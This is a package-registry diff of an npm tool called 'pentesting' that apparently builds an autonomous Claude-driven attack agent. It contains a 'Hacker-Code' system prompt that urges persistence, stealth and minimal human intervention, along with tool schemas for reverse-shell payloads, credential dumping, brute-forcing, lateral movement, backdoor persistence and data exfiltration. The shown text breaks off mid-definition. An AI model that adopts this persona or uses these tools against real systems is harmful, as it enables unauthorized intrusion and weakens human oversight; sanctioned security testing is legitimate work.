pentesting 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +210 -0
- package/dist/index.d.ts +1 -0
- package/dist/index.js +2311 -0
- package/package.json +74 -0
- package/skills/initial-access.md +205 -0
- package/skills/network-scanning.md +87 -0
- package/skills/post-exploitation.md +301 -0
- package/skills/privilege-escalation-linux.md +228 -0
- package/skills/privilege-escalation-windows.md +252 -0
- package/skills/reconnaissance.md +52 -0
- package/skills/web-application-testing.md +75 -0
package/dist/index.js
ADDED
|
@@ -0,0 +1,2311 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
// src/index.tsx
|
|
4
|
+
import { render } from "ink";
|
|
5
|
+
import { Command } from "commander";
|
|
6
|
+
|
|
7
|
+
// src/cli/app.tsx
|
|
8
|
+
import { useState, useEffect, useCallback } from "react";
|
|
9
|
+
import { Box, Text, useApp, useInput, Static } from "ink";
|
|
10
|
+
import Spinner from "ink-spinner";
|
|
11
|
+
|
|
12
|
+
// src/core/agent/autonomous-agent.ts
|
|
13
|
+
import Anthropic from "@anthropic-ai/sdk";
|
|
14
|
+
import { EventEmitter } from "events";
|
|
15
|
+
|
|
16
|
+
// src/core/prompts/autonomous-prompt.ts
|
|
17
|
+
var AUTONOMOUS_HACKING_PROMPT = `You are Hacker-Code, an elite autonomous penetration testing AI designed for CTF competitions and professional security assessments. You operate with minimal human intervention, making intelligent decisions, adapting to obstacles, and persistently pursuing objectives until complete system compromise.
|
|
18
|
+
|
|
19
|
+
<core_identity>
|
|
20
|
+
You are not just a tool - you are a highly skilled penetration tester with years of experience. You think creatively, adapt to unexpected situations, and never give up. When one path is blocked, you find another. When you're stuck, you reflect and try completely different approaches.
|
|
21
|
+
</core_identity>
|
|
22
|
+
|
|
23
|
+
<autonomous_principles>
|
|
24
|
+
1. **Persistent**: Never give up. If something fails, try a different approach.
|
|
25
|
+
2. **Adaptive**: Adjust tactics based on what you discover.
|
|
26
|
+
3. **Creative**: Think outside the box when standard approaches fail.
|
|
27
|
+
4. **Self-Aware**: Recognize when you're stuck and change strategy.
|
|
28
|
+
5. **Thorough**: Don't leave any stone unturned.
|
|
29
|
+
6. **Stealthy**: When possible, avoid detection.
|
|
30
|
+
7. **Documenting**: Record everything for the final report.
|
|
31
|
+
</autonomous_principles>
|
|
32
|
+
|
|
33
|
+
<attack_methodology>
|
|
34
|
+
Follow this methodology, but be flexible and jump between phases as opportunities arise:
|
|
35
|
+
|
|
36
|
+
## Phase 1: Reconnaissance (\uC815\uCC30)
|
|
37
|
+
- OSINT: whois, DNS, subdomains, technology stack
|
|
38
|
+
- Passive information gathering
|
|
39
|
+
- Social media and public data
|
|
40
|
+
|
|
41
|
+
## Phase 2: Scanning (\uC2A4\uCE90\uB2DD)
|
|
42
|
+
- Port scanning: nmap, masscan, rustscan
|
|
43
|
+
- Service detection and version enumeration
|
|
44
|
+
- Network topology mapping
|
|
45
|
+
|
|
46
|
+
## Phase 3: Enumeration (\uC5F4\uAC70)
|
|
47
|
+
- Deep service enumeration
|
|
48
|
+
- User/group enumeration
|
|
49
|
+
- Share/resource discovery
|
|
50
|
+
- Application fingerprinting
|
|
51
|
+
|
|
52
|
+
## Phase 4: Vulnerability Analysis (\uCDE8\uC57D\uC810 \uBD84\uC11D)
|
|
53
|
+
- CVE research for discovered versions
|
|
54
|
+
- Automated vulnerability scanning (nuclei, nikto)
|
|
55
|
+
- Manual vulnerability verification
|
|
56
|
+
- Configuration weakness identification
|
|
57
|
+
|
|
58
|
+
## Phase 5: Exploitation (\uC775\uC2A4\uD50C\uB85C\uC787)
|
|
59
|
+
- Exploit selection and customization
|
|
60
|
+
- Payload generation
|
|
61
|
+
- Initial access attempts
|
|
62
|
+
- Web application attacks (SQLi, RCE, LFI, etc.)
|
|
63
|
+
- Service-specific exploits
|
|
64
|
+
|
|
65
|
+
## Phase 6: Privilege Escalation (\uAD8C\uD55C \uC0C1\uC2B9)
|
|
66
|
+
- Linux: SUID, sudo, kernel exploits, capabilities, cron, docker
|
|
67
|
+
- Windows: Tokens, services, registry, UAC bypass, AD attacks
|
|
68
|
+
- Run LinPEAS/WinPEAS for comprehensive enumeration
|
|
69
|
+
|
|
70
|
+
## Phase 7: Pivoting (\uD53C\uBC97)
|
|
71
|
+
- Network discovery from compromised host
|
|
72
|
+
- Port forwarding and tunneling (chisel, ligolo)
|
|
73
|
+
- Lateral movement to other systems
|
|
74
|
+
|
|
75
|
+
## Phase 8: Persistence (\uC9C0\uC18D\uC131)
|
|
76
|
+
- Backdoor installation
|
|
77
|
+
- SSH key injection
|
|
78
|
+
- Scheduled tasks/cron jobs
|
|
79
|
+
- Service creation
|
|
80
|
+
|
|
81
|
+
## Phase 9: Data Exfiltration (\uB370\uC774\uD130 \uCD94\uCD9C)
|
|
82
|
+
- Sensitive data identification
|
|
83
|
+
- Database extraction
|
|
84
|
+
- Credential harvesting
|
|
85
|
+
- File collection
|
|
86
|
+
|
|
87
|
+
## Phase 10: Reporting (\uBCF4\uACE0\uC11C)
|
|
88
|
+
- Document all findings
|
|
89
|
+
- Provide remediation recommendations
|
|
90
|
+
- Calculate risk scores
|
|
91
|
+
</attack_methodology>
|
|
92
|
+
|
|
93
|
+
<thinking_process>
|
|
94
|
+
For each action, think through:
|
|
95
|
+
|
|
96
|
+
1. **OBSERVE**: What do I currently know? What did the last action reveal?
|
|
97
|
+
2. **ORIENT**: What does this information mean? What opportunities exist?
|
|
98
|
+
3. **DECIDE**: What's the best next action? What's my hypothesis?
|
|
99
|
+
4. **ACT**: Execute the chosen action with appropriate tools.
|
|
100
|
+
5. **REFLECT**: Did it work? What did I learn? Should I pivot?
|
|
101
|
+
</thinking_process>
|
|
102
|
+
|
|
103
|
+
<stuck_detection>
|
|
104
|
+
If you notice you're repeating the same actions without progress:
|
|
105
|
+
1. STOP and acknowledge you're stuck
|
|
106
|
+
2. List what you've tried and why it didn't work
|
|
107
|
+
3. Brainstorm COMPLETELY DIFFERENT approaches
|
|
108
|
+
4. Consider: different services, different techniques, different tools
|
|
109
|
+
5. Ask yourself: "What am I missing? What haven't I tried?"
|
|
110
|
+
</stuck_detection>
|
|
111
|
+
|
|
112
|
+
<tool_usage_guidelines>
|
|
113
|
+
- **Before using a tool**: Check if it's installed, install if needed
|
|
114
|
+
- **After each command**: Carefully analyze the output for ANY useful information
|
|
115
|
+
- **Extract intelligence**: Look for versions, usernames, paths, credentials, IPs
|
|
116
|
+
- **Chain attacks**: Use information from one tool to inform the next
|
|
117
|
+
- **Parse carefully**: Important details are often buried in output
|
|
118
|
+
|
|
119
|
+
Key tools for each phase:
|
|
120
|
+
- Recon: whois, dig, nslookup, theHarvester, amass
|
|
121
|
+
- Scan: nmap, masscan, rustscan
|
|
122
|
+
- Web: gobuster, ffuf, nikto, sqlmap, burp
|
|
123
|
+
- Exploit: metasploit, searchsploit, custom scripts
|
|
124
|
+
- PrivEsc: linpeas, winpeas, GTFOBins
|
|
125
|
+
- Post: mimikatz, bloodhound, chisel
|
|
126
|
+
</tool_usage_guidelines>
|
|
127
|
+
|
|
128
|
+
<output_format>
|
|
129
|
+
Always structure your thinking clearly:
|
|
130
|
+
|
|
131
|
+
[target] **Current Objective**: [What am I trying to achieve?]
|
|
132
|
+
\u{1F50D} **Observation**: [What did I just learn?]
|
|
133
|
+
[hypothesis] **Hypothesis**: [What do I think might work?]
|
|
134
|
+
[tool] **Action**: [What tool/technique am I using?]
|
|
135
|
+
[result] **Result**: [What happened?]
|
|
136
|
+
[reflect] **Analysis**: [What does this mean?]
|
|
137
|
+
\u27A1\uFE0F **Next Step**: [What's the logical next action?]
|
|
138
|
+
|
|
139
|
+
When you find something important:
|
|
140
|
+
[!] **Finding**: [Title] - [Severity]
|
|
141
|
+
\u{1F4DD} **Description**: [Details]
|
|
142
|
+
\u{1F4A1} **Exploit Potential**: [How can this be exploited?]
|
|
143
|
+
</output_format>
|
|
144
|
+
|
|
145
|
+
<creative_techniques>
|
|
146
|
+
When standard approaches fail, consider:
|
|
147
|
+
- Different authentication methods/bypass
|
|
148
|
+
- Alternative ports for the same service
|
|
149
|
+
- Different encoding/obfuscation of payloads
|
|
150
|
+
- Time-based vs boolean-based attacks
|
|
151
|
+
- Out-of-band data exfiltration
|
|
152
|
+
- Client-side attacks if server-side blocked
|
|
153
|
+
- Physical/social engineering vectors (in CTF context)
|
|
154
|
+
- Combining multiple low-severity findings
|
|
155
|
+
- Race conditions and timing attacks
|
|
156
|
+
- File upload/include bypasses
|
|
157
|
+
- JWT/session manipulation
|
|
158
|
+
- GraphQL/API-specific attacks
|
|
159
|
+
</creative_techniques>
|
|
160
|
+
|
|
161
|
+
<self_reflection_triggers>
|
|
162
|
+
Perform deep self-reflection when:
|
|
163
|
+
1. Same error occurs 3+ times
|
|
164
|
+
2. 5+ minutes without any new finding
|
|
165
|
+
3. You've exhausted obvious attack vectors
|
|
166
|
+
4. User provides a hint (this means you're missing something)
|
|
167
|
+
</self_reflection_triggers>
|
|
168
|
+
|
|
169
|
+
Remember: In a CTF or pentest, there is ALWAYS a way in. If you haven't found it, you haven't looked hard enough or in the right places. Stay persistent, stay creative, and NEVER give up.`;
|
|
170
|
+
var SELF_REFLECTION_PROMPT = `You are performing a deep self-reflection to break out of a stuck state.
|
|
171
|
+
|
|
172
|
+
Analyze your situation honestly:
|
|
173
|
+
|
|
174
|
+
1. **What have I tried?**
|
|
175
|
+
- List all major attempts
|
|
176
|
+
- What were the results?
|
|
177
|
+
- Why didn't they work?
|
|
178
|
+
|
|
179
|
+
2. **What assumptions am I making?**
|
|
180
|
+
- Am I assuming something is not vulnerable that might be?
|
|
181
|
+
- Am I overlooking something obvious?
|
|
182
|
+
- Am I too focused on one attack vector?
|
|
183
|
+
|
|
184
|
+
3. **What haven't I tried?**
|
|
185
|
+
- Different services I haven't explored?
|
|
186
|
+
- Different techniques for the same service?
|
|
187
|
+
- Custom exploits vs. public exploits?
|
|
188
|
+
- Different authentication methods?
|
|
189
|
+
|
|
190
|
+
4. **What's unusual about this target?**
|
|
191
|
+
- Custom applications?
|
|
192
|
+
- Non-standard configurations?
|
|
193
|
+
- Hidden services or functionality?
|
|
194
|
+
|
|
195
|
+
5. **What would an expert do differently?**
|
|
196
|
+
- More thorough enumeration?
|
|
197
|
+
- Different tooling?
|
|
198
|
+
- Manual testing vs. automated?
|
|
199
|
+
|
|
200
|
+
Based on this reflection, propose 3 completely different approaches to try next.`;
|
|
201
|
+
|
|
202
|
+
// src/core/tools/tool-definitions.ts
|
|
203
|
+
var SYSTEM_TOOLS = [
|
|
204
|
+
{
|
|
205
|
+
name: "bash",
|
|
206
|
+
description: `Execute any bash command. This is your primary tool for interacting with the system.
|
|
207
|
+
|
|
208
|
+
IMPORTANT:
|
|
209
|
+
- Check if tools are installed before using them
|
|
210
|
+
- Install missing tools with apt/pip/go as needed
|
|
211
|
+
- Parse output carefully for intelligence
|
|
212
|
+
- Chain commands with && or | for efficiency
|
|
213
|
+
- Use timeout for potentially long commands
|
|
214
|
+
- Redirect output to files for large results`,
|
|
215
|
+
input_schema: {
|
|
216
|
+
type: "object",
|
|
217
|
+
properties: {
|
|
218
|
+
command: { type: "string", description: "The bash command to execute" },
|
|
219
|
+
timeout: { type: "number", description: "Timeout in ms (default: 60000)" },
|
|
220
|
+
background: { type: "boolean", description: "Run in background" }
|
|
221
|
+
},
|
|
222
|
+
required: ["command"]
|
|
223
|
+
}
|
|
224
|
+
},
|
|
225
|
+
{
|
|
226
|
+
name: "read_file",
|
|
227
|
+
description: "Read file contents. Use for configs, source code, logs, data files.",
|
|
228
|
+
input_schema: {
|
|
229
|
+
type: "object",
|
|
230
|
+
properties: {
|
|
231
|
+
path: { type: "string", description: "File path" },
|
|
232
|
+
start_line: { type: "number", description: "Start line (1-indexed)" },
|
|
233
|
+
end_line: { type: "number", description: "End line" }
|
|
234
|
+
},
|
|
235
|
+
required: ["path"]
|
|
236
|
+
}
|
|
237
|
+
},
|
|
238
|
+
{
|
|
239
|
+
name: "write_file",
|
|
240
|
+
description: "Write content to file. Use for scripts, payloads, configs, reports.",
|
|
241
|
+
input_schema: {
|
|
242
|
+
type: "object",
|
|
243
|
+
properties: {
|
|
244
|
+
path: { type: "string", description: "File path" },
|
|
245
|
+
content: { type: "string", description: "Content to write" },
|
|
246
|
+
overwrite: { type: "boolean", description: "Overwrite if exists" }
|
|
247
|
+
},
|
|
248
|
+
required: ["path", "content"]
|
|
249
|
+
}
|
|
250
|
+
},
|
|
251
|
+
{
|
|
252
|
+
name: "list_directory",
|
|
253
|
+
description: "List directory contents with file details.",
|
|
254
|
+
input_schema: {
|
|
255
|
+
type: "object",
|
|
256
|
+
properties: {
|
|
257
|
+
path: { type: "string", description: "Directory path" },
|
|
258
|
+
recursive: { type: "boolean", description: "List recursively" },
|
|
259
|
+
hidden: { type: "boolean", description: "Include hidden files" }
|
|
260
|
+
},
|
|
261
|
+
required: ["path"]
|
|
262
|
+
}
|
|
263
|
+
}
|
|
264
|
+
];
|
|
265
|
+
var NETWORK_TOOLS = [
|
|
266
|
+
{
|
|
267
|
+
name: "nmap_scan",
|
|
268
|
+
description: `Network scanning with nmap.
|
|
269
|
+
|
|
270
|
+
SCAN TYPES:
|
|
271
|
+
- discovery: Host discovery only (-sn)
|
|
272
|
+
- quick: Fast port scan (-F -T4)
|
|
273
|
+
- full: All 65535 ports (-p-)
|
|
274
|
+
- stealth: SYN scan with slow timing (-sS -T2)
|
|
275
|
+
- service: Version detection (-sV -sC)
|
|
276
|
+
- vuln: Vulnerability scripts (--script vuln)
|
|
277
|
+
- udp: UDP scan (-sU --top-ports 100)
|
|
278
|
+
- aggressive: Full aggressive scan (-A)`,
|
|
279
|
+
input_schema: {
|
|
280
|
+
type: "object",
|
|
281
|
+
properties: {
|
|
282
|
+
target: { type: "string", description: "Target IP/hostname/CIDR" },
|
|
283
|
+
scan_type: {
|
|
284
|
+
type: "string",
|
|
285
|
+
enum: ["discovery", "quick", "full", "stealth", "service", "vuln", "udp", "aggressive"],
|
|
286
|
+
description: "Scan type"
|
|
287
|
+
},
|
|
288
|
+
ports: { type: "string", description: 'Port range (e.g., "22,80,443" or "1-1000")' },
|
|
289
|
+
scripts: { type: "string", description: "NSE scripts to run" },
|
|
290
|
+
output_file: { type: "string", description: "Save results to file" }
|
|
291
|
+
},
|
|
292
|
+
required: ["target", "scan_type"]
|
|
293
|
+
}
|
|
294
|
+
},
|
|
295
|
+
{
|
|
296
|
+
name: "tcpdump_capture",
|
|
297
|
+
description: `Capture network traffic with tcpdump.
|
|
298
|
+
|
|
299
|
+
Use for:
|
|
300
|
+
- Analyzing authentication mechanisms
|
|
301
|
+
- Discovering API calls and parameters
|
|
302
|
+
- Finding credentials in cleartext
|
|
303
|
+
- Understanding application protocols`,
|
|
304
|
+
input_schema: {
|
|
305
|
+
type: "object",
|
|
306
|
+
properties: {
|
|
307
|
+
interface: { type: "string", description: "Network interface (e.g., eth0)" },
|
|
308
|
+
filter: { type: "string", description: 'BPF filter (e.g., "host 10.0.0.1 and port 80")' },
|
|
309
|
+
count: { type: "number", description: "Number of packets to capture" },
|
|
310
|
+
output_file: { type: "string", description: "Save to pcap file" },
|
|
311
|
+
duration: { type: "number", description: "Capture duration in seconds" }
|
|
312
|
+
},
|
|
313
|
+
required: ["interface"]
|
|
314
|
+
}
|
|
315
|
+
}
|
|
316
|
+
];
|
|
317
|
+
var WEB_TOOLS = [
|
|
318
|
+
{
|
|
319
|
+
name: "web_request",
|
|
320
|
+
description: `Make HTTP requests with full control. Use curl under the hood.
|
|
321
|
+
|
|
322
|
+
Use for:
|
|
323
|
+
- Testing endpoints
|
|
324
|
+
- Sending custom payloads
|
|
325
|
+
- Cookie/session manipulation
|
|
326
|
+
- API testing`,
|
|
327
|
+
input_schema: {
|
|
328
|
+
type: "object",
|
|
329
|
+
properties: {
|
|
330
|
+
url: { type: "string", description: "Target URL" },
|
|
331
|
+
method: { type: "string", enum: ["GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS"], description: "HTTP method" },
|
|
332
|
+
headers: { type: "object", description: "Custom headers" },
|
|
333
|
+
data: { type: "string", description: "Request body" },
|
|
334
|
+
cookies: { type: "string", description: "Cookies to send" },
|
|
335
|
+
follow_redirects: { type: "boolean", description: "Follow redirects" },
|
|
336
|
+
proxy: { type: "string", description: "Proxy URL" }
|
|
337
|
+
},
|
|
338
|
+
required: ["url"]
|
|
339
|
+
}
|
|
340
|
+
},
|
|
341
|
+
{
|
|
342
|
+
name: "directory_bruteforce",
|
|
343
|
+
description: `Directory/file bruteforcing with gobuster or ffuf.
|
|
344
|
+
|
|
345
|
+
MODES:
|
|
346
|
+
- dir: Directory bruteforcing
|
|
347
|
+
- vhost: Virtual host discovery
|
|
348
|
+
- dns: Subdomain enumeration`,
|
|
349
|
+
input_schema: {
|
|
350
|
+
type: "object",
|
|
351
|
+
properties: {
|
|
352
|
+
url: { type: "string", description: "Target URL" },
|
|
353
|
+
wordlist: { type: "string", description: "Wordlist path" },
|
|
354
|
+
mode: { type: "string", enum: ["dir", "vhost", "dns"], description: "Bruteforce mode" },
|
|
355
|
+
extensions: { type: "string", description: 'File extensions (e.g., "php,html,txt")' },
|
|
356
|
+
threads: { type: "number", description: "Concurrent threads" },
|
|
357
|
+
status_codes: { type: "string", description: 'Status codes to match (e.g., "200,301,302")' }
|
|
358
|
+
},
|
|
359
|
+
required: ["url", "wordlist"]
|
|
360
|
+
}
|
|
361
|
+
},
|
|
362
|
+
{
|
|
363
|
+
name: "sql_injection",
|
|
364
|
+
description: `SQL injection testing with sqlmap.
|
|
365
|
+
|
|
366
|
+
Automatically:
|
|
367
|
+
- Detects DBMS
|
|
368
|
+
- Extracts databases, tables, data
|
|
369
|
+
- Attempts OS shell if possible`,
|
|
370
|
+
input_schema: {
|
|
371
|
+
type: "object",
|
|
372
|
+
properties: {
|
|
373
|
+
url: { type: "string", description: "Target URL with parameter" },
|
|
374
|
+
data: { type: "string", description: "POST data" },
|
|
375
|
+
cookie: { type: "string", description: "Session cookie" },
|
|
376
|
+
level: { type: "number", description: "Test level (1-5)" },
|
|
377
|
+
risk: { type: "number", description: "Risk level (1-3)" },
|
|
378
|
+
technique: { type: "string", description: "SQLi techniques (BEUSTQ)" },
|
|
379
|
+
dump: { type: "boolean", description: "Dump database" },
|
|
380
|
+
os_shell: { type: "boolean", description: "Attempt OS shell" }
|
|
381
|
+
},
|
|
382
|
+
required: ["url"]
|
|
383
|
+
}
|
|
384
|
+
},
|
|
385
|
+
{
|
|
386
|
+
name: "browser_automation",
|
|
387
|
+
description: `Headless browser automation with Playwright.
|
|
388
|
+
|
|
389
|
+
Use for:
|
|
390
|
+
- JavaScript-heavy applications
|
|
391
|
+
- Login form testing
|
|
392
|
+
- Session manipulation
|
|
393
|
+
- Screenshot capture
|
|
394
|
+
- DOM inspection`,
|
|
395
|
+
input_schema: {
|
|
396
|
+
type: "object",
|
|
397
|
+
properties: {
|
|
398
|
+
url: { type: "string", description: "Target URL" },
|
|
399
|
+
action: {
|
|
400
|
+
type: "string",
|
|
401
|
+
enum: ["navigate", "screenshot", "click", "type", "evaluate", "extract_cookies", "intercept"],
|
|
402
|
+
description: "Browser action"
|
|
403
|
+
},
|
|
404
|
+
selector: { type: "string", description: "CSS selector for click/type" },
|
|
405
|
+
value: { type: "string", description: "Value to type" },
|
|
406
|
+
script: { type: "string", description: "JavaScript to evaluate" },
|
|
407
|
+
wait_for: { type: "string", description: "Wait for selector/navigation" }
|
|
408
|
+
},
|
|
409
|
+
required: ["url", "action"]
|
|
410
|
+
}
|
|
411
|
+
}
|
|
412
|
+
];
|
|
413
|
+
var EXPLOIT_TOOLS = [
|
|
414
|
+
{
|
|
415
|
+
name: "searchsploit",
|
|
416
|
+
description: "Search Exploit-DB for exploits matching service/version.",
|
|
417
|
+
input_schema: {
|
|
418
|
+
type: "object",
|
|
419
|
+
properties: {
|
|
420
|
+
query: { type: "string", description: "Search query (service name, CVE, version)" },
|
|
421
|
+
exact: { type: "boolean", description: "Exact match only" },
|
|
422
|
+
examine: { type: "string", description: "Examine specific exploit path" },
|
|
423
|
+
mirror: { type: "string", description: "Mirror exploit to current directory" }
|
|
424
|
+
},
|
|
425
|
+
required: ["query"]
|
|
426
|
+
}
|
|
427
|
+
},
|
|
428
|
+
{
|
|
429
|
+
name: "metasploit",
|
|
430
|
+
description: `Execute Metasploit commands.
|
|
431
|
+
|
|
432
|
+
Use for:
|
|
433
|
+
- Launching exploits
|
|
434
|
+
- Generating payloads
|
|
435
|
+
- Post-exploitation`,
|
|
436
|
+
input_schema: {
|
|
437
|
+
type: "object",
|
|
438
|
+
properties: {
|
|
439
|
+
command: { type: "string", description: "MSF command to execute" },
|
|
440
|
+
resource_script: { type: "string", description: "Resource script path" }
|
|
441
|
+
},
|
|
442
|
+
required: ["command"]
|
|
443
|
+
}
|
|
444
|
+
},
|
|
445
|
+
{
|
|
446
|
+
name: "generate_payload",
|
|
447
|
+
description: `Generate custom payloads with msfvenom.
|
|
448
|
+
|
|
449
|
+
PAYLOAD TYPES:
|
|
450
|
+
- reverse_tcp: Reverse TCP shell
|
|
451
|
+
- reverse_https: Reverse HTTPS shell
|
|
452
|
+
- bind_tcp: Bind TCP shell
|
|
453
|
+
- meterpreter: Meterpreter session`,
|
|
454
|
+
input_schema: {
|
|
455
|
+
type: "object",
|
|
456
|
+
properties: {
|
|
457
|
+
payload_type: { type: "string", description: "Payload type" },
|
|
458
|
+
lhost: { type: "string", description: "Listener IP" },
|
|
459
|
+
lport: { type: "number", description: "Listener port" },
|
|
460
|
+
platform: { type: "string", enum: ["windows", "linux", "php", "python", "java"], description: "Target platform" },
|
|
461
|
+
format: { type: "string", description: "Output format (exe, elf, raw, php, py, war, etc.)" },
|
|
462
|
+
encoder: { type: "string", description: "Encoder to use" },
|
|
463
|
+
output: { type: "string", description: "Output file path" }
|
|
464
|
+
},
|
|
465
|
+
required: ["payload_type", "lhost", "lport", "platform"]
|
|
466
|
+
}
|
|
467
|
+
}
|
|
468
|
+
];
|
|
469
|
+
var CREDENTIAL_TOOLS = [
|
|
470
|
+
{
|
|
471
|
+
name: "bruteforce_login",
|
|
472
|
+
description: `Password bruteforce attack with hydra.
|
|
473
|
+
|
|
474
|
+
SERVICES: ssh, ftp, telnet, http-get, http-post-form, smb, rdp, mysql, mssql, vnc`,
|
|
475
|
+
input_schema: {
|
|
476
|
+
type: "object",
|
|
477
|
+
properties: {
|
|
478
|
+
target: { type: "string", description: "Target host" },
|
|
479
|
+
service: { type: "string", description: "Service to attack" },
|
|
480
|
+
username: { type: "string", description: "Single username or file path" },
|
|
481
|
+
password: { type: "string", description: "Single password or file path" },
|
|
482
|
+
port: { type: "number", description: "Custom port" },
|
|
483
|
+
threads: { type: "number", description: "Parallel threads" },
|
|
484
|
+
http_form: { type: "string", description: "HTTP form format for http-post-form" }
|
|
485
|
+
},
|
|
486
|
+
required: ["target", "service"]
|
|
487
|
+
}
|
|
488
|
+
},
|
|
489
|
+
{
|
|
490
|
+
name: "crack_hash",
|
|
491
|
+
description: `Crack password hashes with john or hashcat.
|
|
492
|
+
|
|
493
|
+
HASH MODES (hashcat):
|
|
494
|
+
- 0: MD5
|
|
495
|
+
- 100: SHA1
|
|
496
|
+
- 1000: NTLM
|
|
497
|
+
- 1800: SHA-512(Unix)
|
|
498
|
+
- 3200: bcrypt
|
|
499
|
+
- 13100: Kerberos TGS`,
|
|
500
|
+
input_schema: {
|
|
501
|
+
type: "object",
|
|
502
|
+
properties: {
|
|
503
|
+
hash_file: { type: "string", description: "File containing hashes" },
|
|
504
|
+
wordlist: { type: "string", description: "Wordlist path" },
|
|
505
|
+
mode: { type: "number", description: "Hashcat mode number" },
|
|
506
|
+
tool: { type: "string", enum: ["john", "hashcat"], description: "Tool to use" },
|
|
507
|
+
rules: { type: "string", description: "Rules file for mutation" }
|
|
508
|
+
},
|
|
509
|
+
required: ["hash_file"]
|
|
510
|
+
}
|
|
511
|
+
}
|
|
512
|
+
];
|
|
513
|
+
var PRIVESC_TOOLS = [
|
|
514
|
+
{
|
|
515
|
+
name: "run_privesc_enum",
|
|
516
|
+
description: `Run privilege escalation enumeration scripts.
|
|
517
|
+
|
|
518
|
+
SCRIPTS:
|
|
519
|
+
- linpeas: Linux comprehensive enumeration
|
|
520
|
+
- winpeas: Windows comprehensive enumeration
|
|
521
|
+
- linux-exploit-suggester: Kernel exploit suggestions
|
|
522
|
+
- pspy: Process monitoring without root`,
|
|
523
|
+
input_schema: {
|
|
524
|
+
type: "object",
|
|
525
|
+
properties: {
|
|
526
|
+
script: { type: "string", enum: ["linpeas", "winpeas", "les", "pspy"], description: "Script to run" },
|
|
527
|
+
args: { type: "string", description: "Additional arguments" },
|
|
528
|
+
output_file: { type: "string", description: "Save output to file" }
|
|
529
|
+
},
|
|
530
|
+
required: ["script"]
|
|
531
|
+
}
|
|
532
|
+
},
|
|
533
|
+
{
|
|
534
|
+
name: "check_sudo",
|
|
535
|
+
description: "Check sudo permissions and potential escalation paths.",
|
|
536
|
+
input_schema: {
|
|
537
|
+
type: "object",
|
|
538
|
+
properties: {
|
|
539
|
+
check_gtfobins: { type: "boolean", description: "Cross-reference with GTFOBins" }
|
|
540
|
+
}
|
|
541
|
+
}
|
|
542
|
+
},
|
|
543
|
+
{
|
|
544
|
+
name: "find_suid",
|
|
545
|
+
description: "Find SUID/SGID binaries and check for escalation.",
|
|
546
|
+
input_schema: {
|
|
547
|
+
type: "object",
|
|
548
|
+
properties: {
|
|
549
|
+
check_gtfobins: { type: "boolean", description: "Cross-reference with GTFOBins" }
|
|
550
|
+
}
|
|
551
|
+
}
|
|
552
|
+
}
|
|
553
|
+
];
|
|
554
|
+
var POST_EXPLOIT_TOOLS = [
|
|
555
|
+
{
|
|
556
|
+
name: "setup_tunnel",
|
|
557
|
+
description: `Set up network tunneling for pivoting.
|
|
558
|
+
|
|
559
|
+
TOOLS:
|
|
560
|
+
- chisel: TCP/UDP tunnel over HTTP
|
|
561
|
+
- ligolo: TUN interface tunneling
|
|
562
|
+
- ssh: SSH port forwarding`,
|
|
563
|
+
input_schema: {
|
|
564
|
+
type: "object",
|
|
565
|
+
properties: {
|
|
566
|
+
tool: { type: "string", enum: ["chisel", "ligolo", "ssh"], description: "Tunneling tool" },
|
|
567
|
+
mode: { type: "string", enum: ["server", "client"], description: "Mode" },
|
|
568
|
+
local_port: { type: "number", description: "Local port" },
|
|
569
|
+
remote_port: { type: "number", description: "Remote port" },
|
|
570
|
+
target: { type: "string", description: "Target host" }
|
|
571
|
+
},
|
|
572
|
+
required: ["tool", "mode"]
|
|
573
|
+
}
|
|
574
|
+
},
|
|
575
|
+
{
|
|
576
|
+
name: "dump_credentials",
|
|
577
|
+
description: `Extract credentials from compromised system.
|
|
578
|
+
|
|
579
|
+
METHODS:
|
|
580
|
+
- sam: Windows SAM file
|
|
581
|
+
- lsass: LSASS memory dump
|
|
582
|
+
- shadow: Linux shadow file
|
|
583
|
+
- mimikatz: Mimikatz credential extraction
|
|
584
|
+
- browser: Browser stored passwords`,
|
|
585
|
+
input_schema: {
|
|
586
|
+
type: "object",
|
|
587
|
+
properties: {
|
|
588
|
+
method: { type: "string", enum: ["sam", "lsass", "shadow", "mimikatz", "browser"], description: "Dump method" },
|
|
589
|
+
output_file: { type: "string", description: "Save to file" }
|
|
590
|
+
},
|
|
591
|
+
required: ["method"]
|
|
592
|
+
}
|
|
593
|
+
},
|
|
594
|
+
{
|
|
595
|
+
name: "lateral_movement",
|
|
596
|
+
description: `Move laterally to other systems.
|
|
597
|
+
|
|
598
|
+
METHODS:
|
|
599
|
+
- psexec: PsExec-style execution
|
|
600
|
+
- wmiexec: WMI execution
|
|
601
|
+
- smbexec: SMB execution
|
|
602
|
+
- evil-winrm: WinRM shell
|
|
603
|
+
- ssh: SSH connection`,
|
|
604
|
+
input_schema: {
|
|
605
|
+
type: "object",
|
|
606
|
+
properties: {
|
|
607
|
+
method: { type: "string", enum: ["psexec", "wmiexec", "smbexec", "evil-winrm", "ssh"], description: "Movement method" },
|
|
608
|
+
target: { type: "string", description: "Target host" },
|
|
609
|
+
username: { type: "string", description: "Username" },
|
|
610
|
+
credential: { type: "string", description: "Password or hash" },
|
|
611
|
+
command: { type: "string", description: "Command to execute" }
|
|
612
|
+
},
|
|
613
|
+
required: ["method", "target", "username", "credential"]
|
|
614
|
+
}
|
|
615
|
+
}
|
|
616
|
+
];
|
|
617
|
+
var REPORT_TOOLS = [
|
|
618
|
+
{
|
|
619
|
+
name: "report_finding",
|
|
620
|
+
description: "Document a security finding with proper categorization.",
|
|
621
|
+
input_schema: {
|
|
622
|
+
type: "object",
|
|
623
|
+
properties: {
|
|
624
|
+
title: { type: "string", description: "Finding title" },
|
|
625
|
+
severity: { type: "string", enum: ["critical", "high", "medium", "low", "info"], description: "Severity" },
|
|
626
|
+
description: { type: "string", description: "Detailed description" },
|
|
627
|
+
evidence: { type: "string", description: "Proof/evidence" },
|
|
628
|
+
exploitable: { type: "boolean", description: "Is this exploitable?" },
|
|
629
|
+
remediation: { type: "string", description: "Fix recommendation" },
|
|
630
|
+
cvss: { type: "number", description: "CVSS score (0-10)" },
|
|
631
|
+
cve: { type: "string", description: "CVE identifier if applicable" }
|
|
632
|
+
},
|
|
633
|
+
required: ["title", "severity", "description"]
|
|
634
|
+
}
|
|
635
|
+
},
|
|
636
|
+
{
|
|
637
|
+
name: "take_screenshot",
|
|
638
|
+
description: "Capture evidence screenshot of terminal or browser.",
|
|
639
|
+
input_schema: {
|
|
640
|
+
